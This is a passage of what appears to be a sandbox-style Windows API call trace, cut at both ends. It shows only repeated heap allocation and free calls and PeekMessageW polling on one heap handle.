0x1076ce8 [0137.910] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.910] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0137.910] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0137.910] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0137.911] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0137.911] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b98 | out: hHeap=0xe80000) returned 1 [0137.911] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.911] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0137.911] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.911] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.912] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0137.912] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.912] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.912] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0137.912] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0137.912] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec450 [0137.912] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.912] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec450 | out: hHeap=0xe80000) returned 1 [0137.912] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.912] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.912] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.912] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.912] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.913] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.913] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0137.913] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.913] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.913] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0137.914] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.914] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0137.914] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.914] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.914] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.914] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.914] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0137.914] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec810 [0137.914] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.914] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec810 | out: hHeap=0xe80000) returned 1 [0137.914] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.915] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.915] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.915] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.915] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.915] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0137.915] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0137.915] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.915] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.916] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0137.916] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.916] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.916] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.916] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.916] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.916] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0137.916] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.916] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0137.916] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.917] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec590 | out: hHeap=0xe80000) returned 1 [0137.917] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.917] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.917] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.917] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.917] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.917] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0137.917] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.917] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec990 [0137.917] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.918] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec990 | out: hHeap=0xe80000) returned 1 [0137.918] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.918] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.918] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.918] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.918] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.918] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.918] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0137.918] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec750 [0137.919] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.919] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec750 | out: hHeap=0xe80000) returned 1 [0137.919] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.919] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.919] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.919] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.919] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.919] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.919] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.919] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec990 [0137.919] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.919] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec990 | out: hHeap=0xe80000) returned 1 [0137.919] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.919] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.919] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.920] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0137.920] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.920] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.920] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0137.920] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0137.920] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0137.920] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.920] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0137.920] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.920] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.920] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0137.920] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.920] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.921] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0137.921] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0137.921] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0137.921] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.921] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0137.921] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.921] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.921] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0137.921] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.921] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.921] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0137.921] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.921] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.921] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.922] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0137.922] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.922] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.922] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.922] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.922] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.922] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.922] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.922] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec510 [0137.922] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.922] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec510 | out: hHeap=0xe80000) returned 1 [0137.922] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.922] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.922] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.922] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.922] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.923] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.923] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.923] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0137.923] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.923] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0137.923] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.923] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.923] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.923] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.923] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.923] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.923] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.923] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecad0 [0137.924] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecad0 | out: hHeap=0xe80000) returned 1 [0137.924] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.924] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.924] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.924] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0137.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.924] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec4d0 [0137.924] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.924] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.924] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0137.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0137.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0137.924] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.924] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b98 [0137.925] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ce8 [0137.925] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.925] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0137.925] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.925] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0137.925] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0137.925] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b98 | out: hHeap=0xe80000) returned 1 [0137.925] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.925] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.925] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.925] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.925] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b98 [0137.925] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ce8 [0137.925] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.925] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d00 [0137.925] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.925] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d00 | out: hHeap=0xe80000) returned 1 [0137.926] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0137.926] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b98 | out: hHeap=0xe80000) returned 1 [0137.926] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.926] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec4d0 | out: hHeap=0xe80000) returned 1 [0137.926] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.926] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.926] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.926] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0137.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0137.927] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec850 [0137.927] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec850 | out: hHeap=0xe80000) returned 1 [0137.927] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.927] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.927] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.927] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.928] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0137.928] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.928] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0137.928] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.928] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0137.928] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.928] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.929] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0137.929] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.929] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.929] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0137.929] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.929] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec4d0 [0137.929] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.929] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec4d0 | out: hHeap=0xe80000) returned 1 [0138.007] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.007] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0138.007] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0138.007] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.007] HeapFree (in: 